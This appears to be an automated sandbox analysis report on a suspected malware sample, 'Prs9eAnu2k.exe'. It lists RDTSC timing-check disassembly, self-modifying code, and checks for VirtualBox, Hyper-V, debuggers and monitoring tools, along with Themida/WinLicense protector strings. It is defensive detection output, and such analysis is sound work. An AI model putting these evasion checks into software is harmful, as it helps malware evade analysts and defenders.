Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC1012 second address: 6DC1038 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F82B4B869D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esi+18h] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC1038 second address: 6DC103C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC103C second address: 6DC1040 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC1040 second address: 6DC1046 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC1046 second address: 6DC113D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [edx+18h], eax 0x0000000b jmp 00007F82B4B869D3h 0x00000010 mov eax, dword ptr [esi+1Ch] 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007F82B4B869D4h 0x0000001a xor ecx, 33477BA8h 0x00000020 jmp 00007F82B4B869CBh 0x00000025 popfd 0x00000026 mov dx, ax 0x00000029 popad 0x0000002a mov dword ptr [edx+1Ch], eax 0x0000002d jmp 00007F82B4B869D2h 0x00000032 mov eax, dword ptr [esi+20h] 0x00000035 pushad 0x00000036 pushfd 0x00000037 jmp 00007F82B4B869CEh 0x0000003c add cx, E938h 0x00000041 jmp 00007F82B4B869CBh 0x00000046 popfd 0x00000047 pushfd 0x00000048 jmp 00007F82B4B869D8h 0x0000004d sbb cl, FFFFFF98h 0x00000050 jmp 00007F82B4B869CBh 0x00000055 popfd 0x00000056 popad 0x00000057 mov dword ptr [edx+20h], eax 0x0000005a jmp 00007F82B4B869D6h 0x0000005f mov eax, dword ptr [esi+24h] 0x00000062 jmp 00007F82B4B869D0h 0x00000067 mov dword ptr [edx+24h], eax 0x0000006a push eax 0x0000006b push edx 0x0000006c jmp 00007F82B4B869D7h 0x00000071 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC113D second address: 6DC11C0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F82B53DDA19h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esi+28h] 0x0000000c jmp 00007F82B53DDA0Eh 0x00000011 mov dword ptr [edx+28h], eax 0x00000014 pushad 0x00000015 pushfd 0x00000016 jmp 00007F82B53DDA0Eh 0x0000001b adc ah, 00000018h 0x0000001e jmp 00007F82B53DDA0Bh 0x00000023 popfd 0x00000024 push eax 0x00000025 pushad 0x00000026 popad 0x00000027 pop edi 0x00000028 popad 0x00000029 mov ecx, dword ptr [esi+2Ch] 0x0000002c pushad 0x0000002d push edx 0x0000002e push ecx 0x0000002f pop edi 0x00000030 pop ecx 0x00000031 popad 0x00000032 mov dword ptr [edx+2Ch], ecx 0x00000035 pushad 0x00000036 jmp 00007F82B53DDA11h 0x0000003b mov ecx, 00ED24A7h 0x00000040 popad 0x00000041 mov ax, word ptr [esi+30h] 0x00000045 push eax 0x00000046 push edx 0x00000047 push eax 0x00000048 push edx 0x00000049 push eax 0x0000004a push edx 0x0000004b rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC11C0 second address: 6DC11C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC11C4 second address: 6DC11D3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F82B53DDA0Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC11D3 second address: 6DC1216 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 52E860FAh 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov word ptr [edx+30h], ax 0x0000000f pushad 0x00000010 mov di, 349Eh 0x00000014 pushad 0x00000015 mov edi, 40FFFC38h 0x0000001a mov bh, A3h 0x0000001c popad 0x0000001d popad 0x0000001e mov ax, word ptr [esi+32h] 0x00000022 pushad 0x00000023 mov bx, si 0x00000026 jmp 00007F82B4B869D2h 0x0000002b popad 0x0000002c mov word ptr [edx+32h], ax 0x00000030 pushad 0x00000031 push eax 0x00000032 push edx 0x00000033 movzx ecx, di 0x00000036 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC1216 second address: 6DC12DE instructions: 0x00000000 rdtsc 0x00000002 mov ebx, 13BD77DCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a pop edi 0x0000000b popad 0x0000000c mov eax, dword ptr [esi+34h] 0x0000000f pushad 0x00000010 call 00007F82B53DDA18h 0x00000015 jmp 00007F82B53DDA12h 0x0000001a pop eax 0x0000001b push ebx 0x0000001c pushfd 0x0000001d jmp 00007F82B53DDA0Eh 0x00000022 sub esi, 32DCEA88h 0x00000028 jmp 00007F82B53DDA0Bh 0x0000002d popfd 0x0000002e pop ecx 0x0000002f popad 0x00000030 mov dword ptr [edx+34h], eax 0x00000033 pushad 0x00000034 mov cx, dx 0x00000037 pushfd 0x00000038 jmp 00007F82B53DDA11h 0x0000003d or cx, 31A6h 0x00000042 jmp 00007F82B53DDA11h 0x00000047 popfd 0x00000048 popad 0x00000049 test ecx, 00000700h 0x0000004f pushad 0x00000050 mov ecx, 5DD4EB73h 0x00000055 mov ebx, eax 0x00000057 popad 0x00000058 jne 00007F832544BE68h 0x0000005e pushad 0x0000005f mov si, 65C7h 0x00000063 mov ecx, 34CF9763h 0x00000068 popad 0x00000069 or dword ptr [edx+38h], FFFFFFFFh 0x0000006d push eax 0x0000006e push edx 0x0000006f push eax 0x00000070 push edx 0x00000071 jmp 00007F82B53DDA10h 0x00000076 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC12DE second address: 6DC12E4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC12E4 second address: 6DC12FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ebx 0x00000005 mov ax, 109Fh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c or dword ptr [edx+3Ch], FFFFFFFFh 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 mov si, bx 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC12FB second address: 6DC1318 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F82B4B869CFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 or dword ptr [edx+40h], FFFFFFFFh 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC1318 second address: 6DC131C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC131C second address: 6DC1322 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6E00ADC second address: 6E00AE2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6E00AE2 second address: 6E00AE7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6E00AE7 second address: 6E00B08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov esi, edi 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F82B53DDA15h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6E00B08 second address: 6E00B3B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F82B4B869D7h 0x00000008 movzx ecx, di 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp], ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F82B4B869CEh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DB06AF second address: 6DB06B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DB06B5 second address: 6DB0701 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F82B4B869D3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F82B4B869CBh 0x00000015 sbb ax, 737Eh 0x0000001a jmp 00007F82B4B869D9h 0x0000001f popfd 0x00000020 movzx esi, di 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DB0701 second address: 6DB0707 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DB0707 second address: 6DB0758 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F82B4B869D4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d mov ebx, 503E7454h 0x00000012 mov cx, dx 0x00000015 popad 0x00000016 xchg eax, ebp 0x00000017 pushad 0x00000018 pushad 0x00000019 mov si, dx 0x0000001c mov ax, bx 0x0000001f popad 0x00000020 mov ax, bx 0x00000023 popad 0x00000024 mov ebp, esp 0x00000026 jmp 00007F82B4B869D5h 0x0000002b pop ebp 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DB0758 second address: 6DB076B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F82B53DDA0Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DB076B second address: 6DB0771 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6D50050 second address: 6D50054 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6D50054 second address: 6D5005A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6D5005A second address: 6D5006B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F82B53DDA0Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6D5006B second address: 6D500AE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F82B4B869D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], ebp 0x0000000e jmp 00007F82B4B869CEh 0x00000013 mov ebp, esp 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F82B4B869D7h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6D500AE second address: 6D500C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F82B53DDA0Fh 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c pushad 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6D50676 second address: 6D5067A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6D5067A second address: 6D5067E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6D5067E second address: 6D50684 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6D50684 second address: 6D506C6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, C9FBh 0x00000007 mov esi, 1ACF0AD7h 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f xchg eax, ebp 0x00000010 pushad 0x00000011 mov edx, ecx 0x00000013 pushfd 0x00000014 jmp 00007F82B53DDA14h 0x00000019 xor eax, 0A281478h 0x0000001f jmp 00007F82B53DDA0Bh 0x00000024 popfd 0x00000025 popad 0x00000026 push eax 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6D506C6 second address: 6D506CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6D506CA second address: 6D506D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6D506D0 second address: 6D506D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6D506D6 second address: 6D506DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6D506DA second address: 6D506F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c call 00007F82B4B869CCh 0x00000011 pop esi 0x00000012 mov di, 17C6h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6D506F8 second address: 6D50719 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F82B53DDA0Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F82B53DDA0Ch 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6D50BA5 second address: 6D50BD5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F82B4B869D5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F82B4B869CEh 0x0000000f mov ebp, esp 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6D50BD5 second address: 6D50BF2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F82B53DDA19h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DA0985 second address: 6DA098B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DA098B second address: 6DA09AA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F82B53DDA0Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d mov dl, 52h 0x0000000f popad 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DA09AA second address: 6DA09AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DA09AF second address: 6DA09C7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F82B53DDA0Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DA09C7 second address: 6DA09CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DA09CB second address: 6DA09DE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F82B53DDA0Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6D80005 second address: 6D8002B instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F82B4B869CDh 0x00000008 jmp 00007F82B4B869CBh 0x0000000d popfd 0x0000000e pop edx 0x0000000f pop eax 0x00000010 popad 0x00000011 push ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6D8002B second address: 6D8002F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6D8002F second address: 6D80033 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6D80033 second address: 6D80039 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6D80039 second address: 6D8003E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6D8003E second address: 6D8009E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F82B53DDA12h 0x0000000a sub ecx, 6961B628h 0x00000010 jmp 00007F82B53DDA0Bh 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 mov dword ptr [esp], ebp 0x0000001c jmp 00007F82B53DDA16h 0x00000021 mov ebp, esp 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F82B53DDA17h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6D8009E second address: 6D800FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F82B4B869D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and esp, FFFFFFF0h 0x0000000c pushad 0x0000000d mov ebx, esi 0x0000000f popad 0x00000010 sub esp, 44h 0x00000013 pushad 0x00000014 mov edi, 420C2906h 0x00000019 call 00007F82B4B869D7h 0x0000001e mov edx, ecx 0x00000020 pop esi 0x00000021 popad 0x00000022 push edx 0x00000023 pushad 0x00000024 mov eax, 432BE1FDh 0x00000029 push esi 0x0000002a mov eax, ebx 0x0000002c pop ebx 0x0000002d popad 0x0000002e mov dword ptr [esp], ebx 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6D800FB second address: 6D800FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Tries to evade debugger and weak emulator (self modifying code)
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeSpecial instruction interceptor: First address: AD9A1D instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeSpecial instruction interceptor: First address: C8E797 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRegistry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDescJump to behavior
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRegistry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersionJump to behavior
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRegistry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersionJump to behavior
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_2_005B9980 rdtsc 1_2_005B9980
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_2_003D255D GetSystemInfo,GlobalMemoryStatusEx,GetDriveTypeA,GetDiskFreeSpaceExA,KiUserCallbackDispatcher,FindFirstFileW,FindNextFileW,K32EnumProcesses,1_2_003D255D
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_2_003D29FF FindFirstFileA,RegOpenKeyExA,CharUpperA,CreateToolhelp32Snapshot,QueryFullProcessImageNameA,CloseHandle,CreateToolhelp32Snapshot,CloseHandle,1_2_003D29FF
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_2_003D255D GetSystemInfo,GlobalMemoryStatusEx,GetDriveTypeA,GetDiskFreeSpaceExA,KiUserCallbackDispatcher,FindFirstFileW,FindNextFileW,K32EnumProcesses,1_2_003D255D
Source: Prs9eAnu2k.exe, Prs9eAnu2k.exe, 00000001.00000002.2663558091.0000000000C60000.00000040.00000001.01000000.00000003.sdmpBinary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: Prs9eAnu2k.exe, 00000001.00000003.2528432022.0000000007067000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: SYSTEM\ControlSet001\Services\VBoxSF
Source: Prs9eAnu2k.exeBinary or memory string: Hyper-V RAW
Source: Prs9eAnu2k.exe, 00000001.00000003.2528432022.0000000007067000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: SYSINTERNALSNum_processorNum_ramnameallfreedriversNum_displaysresolution_xresolution_y\*recent_filesprocessesuptime_minutesC:\Windows\System32\VBox*.dll01vbox_firstSYSTEM\ControlSet001\Services\VBoxSFvbox_secondC:\USERS\PUBLIC\public_checkWINDBG.EXEdbgwireshark.exeprocmon.exex64dbg.exeida.exedbg_secdbg_thirdyadroinstalled_appsSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallSOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall%d%s\%sDisplayNameapp_nameindexCreateToolhelp32Snapshot failed.
Source: Prs9eAnu2k.exe, 00000001.00000002.2663558091.0000000000C60000.00000040.00000001.01000000.00000003.sdmpBinary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: Prs9eAnu2k.exe, 00000001.00000003.2631249252.00000000015D0000.00000004.00000020.00020000.00000000.sdmp, Prs9eAnu2k.exe, 00000001.00000002.2664702592.00000000015DA000.00000004.00000020.00020000.00000000.sdmp, Prs9eAnu2k.exe, 00000001.00000003.2631882034.00000000015D9000.00000004.00000020.00020000.00000000.sdmp, Prs9eAnu2k.exe, 00000001.00000003.2631165532.00000000015C1000.00000004.00000020.00020000.00000000.sdmp, Prs9eAnu2k.exe, 00000001.00000003.2631474353.00000000015D6000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeSystem information queried: ModuleInformationJump to behavior
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeProcess information queried: ProcessInformationJump to behavior

Anti Debugging

barindex
Hides threads from debuggers
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeThread information set: HideFromDebuggerJump to behavior
Tries to detect sandboxes and other dynamic analysis tools (window names)
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeOpen window title or class name: regmonclass
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeOpen window title or class name: gbdyllo
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeOpen window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeOpen window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeOpen window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeOpen window title or class name: ollydbg
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeOpen window title or class name: filemonclass
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeOpen window title or class name: file monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeFile opened: NTICE
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeFile opened: SICE
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeFile opened: SIWVID
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeProcess queried: DebugPortJump to behavior
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeProcess queried: DebugPortJump to behavior
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeProcess queried: DebugPortJump to behavior
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_2_005B9980 rdtsc 1_2_005B9980
Source: Prs9eAnu2k.exe, Prs9eAnu2k.exe, 00000001.00000002.2663558091.0000000000C60000.00000040.00000001.01000000.00000003.sdmpBinary or memory string: lProgram Manager
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeQueries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformationJump to behavior
